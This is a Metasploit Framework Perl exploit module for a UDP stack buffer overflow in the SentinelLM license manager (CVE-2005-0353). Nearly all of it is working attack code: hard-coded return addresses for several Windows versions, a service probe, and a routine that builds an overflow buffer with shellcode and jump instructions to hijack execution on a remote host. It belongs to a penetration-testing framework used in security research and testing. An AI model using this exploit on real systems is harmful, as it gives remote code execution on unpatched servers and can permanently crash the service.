home *** CD-ROM | disk | FTP | other *** search
-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::sentinel_lm7_overflow;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'SentinelLM UDP Buffer Overflow',
- 'Version' => '$Revision: 1.4 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ],
- 'Priv' => 1,
- 'AutoOpts' => { 'EXITFUNC' => 'process' },
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 5093],
- },
-
- 'Payload' =>
- {
- 'Space' => 800,
- 'BadChars' => "\x00\x20",
- 'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
- 'Keys' => ['+ws2ord'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a simple stack overflow in the Sentinel License
- Manager. The SentinelLM service is installed with a wide selection of
- products and seems particular popular with academic products. If the wrong
- target value is selected, the service will crash and not restart.
- }),
-
- 'Refs' =>
- [
- ['BID', '12742'],
- ['CVE', '2005-0353'],
- ['OSVDB', '14605'],
- ['MIL', '58'],
- ],
-
- 'Targets' =>
- [
- ['SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6', 0x77681799 ], # ws2help.dll
- ['SentinelLM 7.2.0.0 Windows 2000 English', 0x75022ac4 ], # ws2help.dll
- ['SentinelLM 7.2.0.0 Windows 2000 German', 0x74fa1887 ], # ws2help.dll
- ['SentinelLM 7.2.0.0 Windows XP English SP0/SP1', 0x71aa32ad ], # ws2help.dll
- ['SentinelLM 7.2.0.0 Windows 2003 English SP0', 0x7ffc0638 ], # peb
- ],
-
- 'Keys' => ['sentinel'],
-
- 'DisclosureDate' => 'Mar 07 2005',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- $self->PrintLine("[*] Probing for the SentinelLM service....");
-
- my $s = Msf::Socket::Udp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- my $probe = "\x7a\x00\x00\x00\x00\x00";
-
- $s->Send($probe);
- my $res = $s->Recv(-1, 5);
-
- if (ord($res) == 0x7a) {
- $self->PrintLine("[*] Detected the SentinelLM service :-)");
- return $self->CheckCode('Detected');
- }
-
- $self->PrintLine("[*] No response to our discovery probe");
- return $self->CheckCode('Safe');
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
- my $target = $self->Targets->[$target_idx];
-
- $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
-
- my $s = Msf::Socket::Udp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- );
-
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- my $bang = Pex::Text::EnglishText(2048);
-
- # Place our shellcode first thing in the string
- substr($bang, 0, length($shellcode), $shellcode);
-
- # Return to a pop/pop/ret and keep rolling
- substr($bang, 836, 4, pack('V', $target->[1]));
-
- # The pop/pop/ret takes us here, jump back five bytes
- substr($bang, 832, 2, "\xeb\xf9");
-
- # Jump all the way back to our shellcode
- substr($bang, 827, 5, "\xe9".pack('V', -829));
-
- $self->PrintLine("[*] Sending " .length($bang) . " bytes to remote host.");
- $s->Send($bang);
- $s->Recv(-1, 5);
-
- return;
- }
-
- 1;
-